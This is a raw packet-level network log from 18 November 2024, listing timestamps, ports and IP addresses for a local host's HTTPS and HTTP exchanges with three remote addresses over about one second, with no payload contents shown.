Nov 18, 2024 15:17:02.321389914 CET	443	49792	13.107.246.57	192.168.2.9
Nov 18, 2024 15:17:02.321455002 CET	49792	443	192.168.2.9	13.107.246.57
Nov 18, 2024 15:17:02.321630001 CET	49790	443	192.168.2.9	13.107.246.57
Nov 18, 2024 15:17:02.321644068 CET	443	49790	13.107.246.57	192.168.2.9
Nov 18, 2024 15:17:02.321986914 CET	49793	443	192.168.2.9	13.107.246.57
Nov 18, 2024 15:17:02.322046995 CET	443	49790	13.107.246.57	192.168.2.9
Nov 18, 2024 15:17:02.322066069 CET	443	49793	13.107.246.57	192.168.2.9
Nov 18, 2024 15:17:02.322218895 CET	49793	443	192.168.2.9	13.107.246.57
Nov 18, 2024 15:17:02.322227955 CET	443	49793	13.107.246.57	192.168.2.9
Nov 18, 2024 15:17:02.322758913 CET	49790	443	192.168.2.9	13.107.246.57
Nov 18, 2024 15:17:02.322829008 CET	443	49790	13.107.246.57	192.168.2.9
Nov 18, 2024 15:17:02.323010921 CET	49792	443	192.168.2.9	13.107.246.57
Nov 18, 2024 15:17:02.323148012 CET	49790	443	192.168.2.9	13.107.246.57
Nov 18, 2024 15:17:02.323190928 CET	443	49792	13.107.246.57	192.168.2.9
Nov 18, 2024 15:17:02.323329926 CET	49792	443	192.168.2.9	13.107.246.57
Nov 18, 2024 15:17:02.331921101 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:02.333730936 CET	49794	443	192.168.2.9	13.107.246.57
Nov 18, 2024 15:17:02.333767891 CET	443	49794	13.107.246.57	192.168.2.9
Nov 18, 2024 15:17:02.337160110 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:02.355506897 CET	49791	443	192.168.2.9	13.107.246.57
Nov 18, 2024 15:17:02.363342047 CET	443	49790	13.107.246.57	192.168.2.9
Nov 18, 2024 15:17:02.363678932 CET	49793	443	192.168.2.9	13.107.246.57
Nov 18, 2024 15:17:02.364537001 CET	49792	443	192.168.2.9	13.107.246.57
Nov 18, 2024 15:17:02.364576101 CET	443	49792	13.107.246.57	192.168.2.9
Nov 18, 2024 15:17:02.380604029 CET	49794	443	192.168.2.9	13.107.246.57
Nov 18, 2024 15:17:02.413559914 CET	49792	443	192.168.2.9	13.107.246.57
Nov 18, 2024 15:17:02.418991089 CET	443	49794	13.107.246.57	192.168.2.9
Nov 18, 2024 15:17:02.419008017 CET	443	49794	13.107.246.57	192.168.2.9
Nov 18, 2024 15:17:02.419069052 CET	443	49794	13.107.246.57	192.168.2.9
Nov 18, 2024 15:17:02.419073105 CET	49794	443	192.168.2.9	13.107.246.57
Nov 18, 2024 15:17:02.419111967 CET	49794	443	192.168.2.9	13.107.246.57
Nov 18, 2024 15:17:02.422671080 CET	49794	443	192.168.2.9	13.107.246.57
Nov 18, 2024 15:17:02.422698975 CET	443	49794	13.107.246.57	192.168.2.9
Nov 18, 2024 15:17:02.423243046 CET	49797	443	192.168.2.9	13.107.246.57
Nov 18, 2024 15:17:02.423283100 CET	443	49797	13.107.246.57	192.168.2.9
Nov 18, 2024 15:17:02.423472881 CET	49797	443	192.168.2.9	13.107.246.57
Nov 18, 2024 15:17:02.429250956 CET	49797	443	192.168.2.9	13.107.246.57
Nov 18, 2024 15:17:02.429271936 CET	443	49797	13.107.246.57	192.168.2.9
Nov 18, 2024 15:17:02.450639009 CET	443	49793	13.107.246.57	192.168.2.9
Nov 18, 2024 15:17:02.450670004 CET	443	49793	13.107.246.57	192.168.2.9
Nov 18, 2024 15:17:02.450721979 CET	443	49793	13.107.246.57	192.168.2.9
Nov 18, 2024 15:17:02.450803995 CET	49793	443	192.168.2.9	13.107.246.57
Nov 18, 2024 15:17:02.450803995 CET	49793	443	192.168.2.9	13.107.246.57
Nov 18, 2024 15:17:02.451813936 CET	443	49792	13.107.246.57	192.168.2.9
Nov 18, 2024 15:17:02.451842070 CET	443	49792	13.107.246.57	192.168.2.9
Nov 18, 2024 15:17:02.451910973 CET	443	49792	13.107.246.57	192.168.2.9
Nov 18, 2024 15:17:02.451962948 CET	49792	443	192.168.2.9	13.107.246.57
Nov 18, 2024 15:17:02.452730894 CET	49793	443	192.168.2.9	13.107.246.57
Nov 18, 2024 15:17:02.452748060 CET	443	49793	13.107.246.57	192.168.2.9
Nov 18, 2024 15:17:02.465737104 CET	49792	443	192.168.2.9	13.107.246.57
Nov 18, 2024 15:17:02.465781927 CET	443	49792	13.107.246.57	192.168.2.9
Nov 18, 2024 15:17:02.468297958 CET	443	49791	13.107.246.57	192.168.2.9
Nov 18, 2024 15:17:02.468317986 CET	443	49791	13.107.246.57	192.168.2.9
Nov 18, 2024 15:17:02.468400955 CET	49791	443	192.168.2.9	13.107.246.57
Nov 18, 2024 15:17:02.468413115 CET	443	49791	13.107.246.57	192.168.2.9
Nov 18, 2024 15:17:02.469336987 CET	443	49791	13.107.246.57	192.168.2.9
Nov 18, 2024 15:17:02.469826937 CET	49791	443	192.168.2.9	13.107.246.57
Nov 18, 2024 15:17:02.469835997 CET	443	49791	13.107.246.57	192.168.2.9
Nov 18, 2024 15:17:02.469880104 CET	49791	443	192.168.2.9	13.107.246.57
Nov 18, 2024 15:17:02.469892025 CET	49791	443	192.168.2.9	13.107.246.57
Nov 18, 2024 15:17:02.570667982 CET	443	49795	20.25.227.174	192.168.2.9
Nov 18, 2024 15:17:02.601187944 CET	49784	443	192.168.2.9	20.25.227.174
Nov 18, 2024 15:17:02.601217031 CET	443	49784	20.25.227.174	192.168.2.9
Nov 18, 2024 15:17:02.608757973 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:02.608844042 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:02.608864069 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:02.608877897 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:02.608891010 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:02.608932018 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:02.608984947 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:02.609016895 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:02.609030962 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:02.609054089 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:02.609083891 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:02.609173059 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:02.609186888 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:02.609200001 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:02.609213114 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:02.609225988 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:02.609246016 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:02.609313965 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:02.609337091 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:02.609349012 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:02.609394073 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:02.609441996 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:02.609477997 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:02.609491110 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:02.609513998 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:02.609533072 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:02.609635115 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:02.609647989 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:02.609662056 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:02.609673977 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:02.609675884 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:02.609689951 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:02.609709024 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:02.620187998 CET	443	49790	13.107.246.57	192.168.2.9
Nov 18, 2024 15:17:02.620210886 CET	443	49790	13.107.246.57	192.168.2.9
Nov 18, 2024 15:17:02.620366096 CET	49790	443	192.168.2.9	13.107.246.57
Nov 18, 2024 15:17:02.620393991 CET	443	49790	13.107.246.57	192.168.2.9
Nov 18, 2024 15:17:02.620954037 CET	443	49790	13.107.246.57	192.168.2.9
Nov 18, 2024 15:17:02.621059895 CET	49790	443	192.168.2.9	13.107.246.57
Nov 18, 2024 15:17:02.669049025 CET	49795	443	192.168.2.9	20.25.227.174
Nov 18, 2024 15:17:02.669063091 CET	443	49795	20.25.227.174	192.168.2.9
Nov 18, 2024 15:17:02.669620037 CET	443	49795	20.25.227.174	192.168.2.9
Nov 18, 2024 15:17:02.760679960 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:02.760720015 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:02.760745049 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:02.760759115 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:02.760780096 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:02.760802031 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:02.760816097 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:02.760833025 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:02.760850906 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:02.760859966 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:02.760874987 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:02.760905027 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:02.760921955 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:02.760947943 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:02.760971069 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:02.760987043 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:02.761009932 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:02.761034966 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:02.761084080 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:02.761157036 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:02.761172056 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:02.761190891 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:02.761195898 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:02.761221886 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:02.761264086 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:02.761298895 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:02.761339903 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:02.761356115 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:02.761369944 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:02.761392117 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:02.761418104 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:02.761436939 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:02.761475086 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:02.761594057 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:02.761653900 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:02.761667967 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:02.761682987 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:02.761704922 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:02.761729956 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:02.761933088 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:02.761956930 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:02.761974096 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:02.761974096 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:02.762006998 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:02.762012959 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:02.762023926 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:02.762037992 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:02.762059927 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:02.762074947 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:02.762109995 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:02.762121916 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:02.762146950 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:02.762159109 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:02.799493074 CET	49795	443	192.168.2.9	20.25.227.174
Nov 18, 2024 15:17:02.829171896 CET	49795	443	192.168.2.9	20.25.227.174
Nov 18, 2024 15:17:02.829435110 CET	443	49795	20.25.227.174	192.168.2.9
Nov 18, 2024 15:17:02.881184101 CET	49795	443	192.168.2.9	20.25.227.174
Nov 18, 2024 15:17:02.881406069 CET	49795	443	192.168.2.9	20.25.227.174
Nov 18, 2024 15:17:02.881417036 CET	443	49795	20.25.227.174	192.168.2.9
Nov 18, 2024 15:17:02.889585018 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:02.889626026 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:02.889642000 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:02.889643908 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:02.889662027 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:02.889679909 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:02.889806032 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:02.889822006 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:02.889837980 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:02.889852047 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:02.889866114 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:02.889903069 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:02.890012026 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:02.890053988 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:02.900444031 CET	49790	443	192.168.2.9	13.107.246.57
Nov 18, 2024 15:17:02.900463104 CET	443	49790	13.107.246.57	192.168.2.9
Nov 18, 2024 15:17:02.912509918 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:02.912554026 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:02.912569046 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:02.912600994 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:02.912631035 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:02.912672997 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:02.912688017 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:02.912703037 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:02.912717104 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:02.912743092 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:02.912745953 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:02.912761927 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:02.912775993 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:02.912786007 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:02.912815094 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:02.912885904 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:02.912925005 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:02.912969112 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:02.912985086 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:02.913000107 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:02.913022041 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:02.913038969 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:02.913049936 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:02.913074970 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:02.913126945 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:02.913141966 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:02.913177013 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:02.913189888 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:02.913212061 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:02.913228035 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:02.913243055 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:02.913252115 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:02.913266897 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:02.913292885 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:02.913429976 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:02.913464069 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:02.913476944 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:02.913516045 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:02.913553953 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:02.913569927 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:02.913605928 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:02.921082973 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:02.921147108 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:02.921168089 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:02.921200991 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:02.968803883 CET	443	49796	13.107.246.57	192.168.2.9
Nov 18, 2024 15:17:02.969398022 CET	49796	443	192.168.2.9	13.107.246.57
Nov 18, 2024 15:17:02.969420910 CET	443	49796	13.107.246.57	192.168.2.9
Nov 18, 2024 15:17:02.969816923 CET	443	49796	13.107.246.57	192.168.2.9
Nov 18, 2024 15:17:02.971571922 CET	49796	443	192.168.2.9	13.107.246.57
Nov 18, 2024 15:17:02.971662998 CET	443	49796	13.107.246.57	192.168.2.9
Nov 18, 2024 15:17:02.972429991 CET	49796	443	192.168.2.9	13.107.246.57
Nov 18, 2024 15:17:02.999310970 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:02.999557972 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:02.999594927 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:02.999721050 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:03.008562088 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.008594036 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.008605957 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.008683920 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:03.008683920 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:03.008771896 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.008784056 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.008794069 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.008845091 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:03.008917093 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.008928061 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.008939981 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.008959055 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:03.008989096 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:03.019325972 CET	443	49796	13.107.246.57	192.168.2.9
Nov 18, 2024 15:17:03.031394005 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.031425953 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.031439066 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.031467915 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:03.031524897 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:03.031538963 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.031574011 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:03.031600952 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.031613111 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.031649113 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:03.031697035 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.031754017 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:03.031773090 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.031785011 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.031821966 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:03.031843901 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.031883955 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.031889915 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.031925917 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:03.031992912 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:03.031999111 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.032011032 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.032021999 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.032032013 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.032037020 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:03.032058954 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:03.032085896 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:03.032174110 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.032215118 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.032221079 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:03.032226086 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.032264948 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:03.032382965 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.032394886 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.032407045 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.032418013 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.032426119 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:03.032440901 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:03.032466888 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:03.032483101 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.032555103 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:03.064685106 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.064713955 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.064780951 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:03.064826965 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:03.081126928 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.081732988 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.081757069 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:03.081775904 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:03.101169109 CET	443	49796	13.107.246.57	192.168.2.9
Nov 18, 2024 15:17:03.101248026 CET	443	49796	13.107.246.57	192.168.2.9
Nov 18, 2024 15:17:03.101317883 CET	49796	443	192.168.2.9	13.107.246.57
Nov 18, 2024 15:17:03.102628946 CET	49796	443	192.168.2.9	13.107.246.57
Nov 18, 2024 15:17:03.102644920 CET	443	49796	13.107.246.57	192.168.2.9
Nov 18, 2024 15:17:03.127371073 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.127403021 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.127413034 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.127480984 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.127484083 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:03.127494097 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.127531052 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:03.127566099 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.127577066 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.127614975 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:03.127723932 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.127741098 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.127775908 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:03.127912045 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.127981901 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.127993107 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.128005028 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.128025055 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:03.128048897 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:03.150449991 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.150500059 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.150511980 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.150583982 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:03.150636911 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.150650978 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.150691986 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:03.150702953 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.150810957 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.150824070 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.150835991 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.150847912 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.150854111 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:03.150873899 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:03.150892973 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:03.150959969 CET	80	49750	185.215.113.206	192.168.2.9
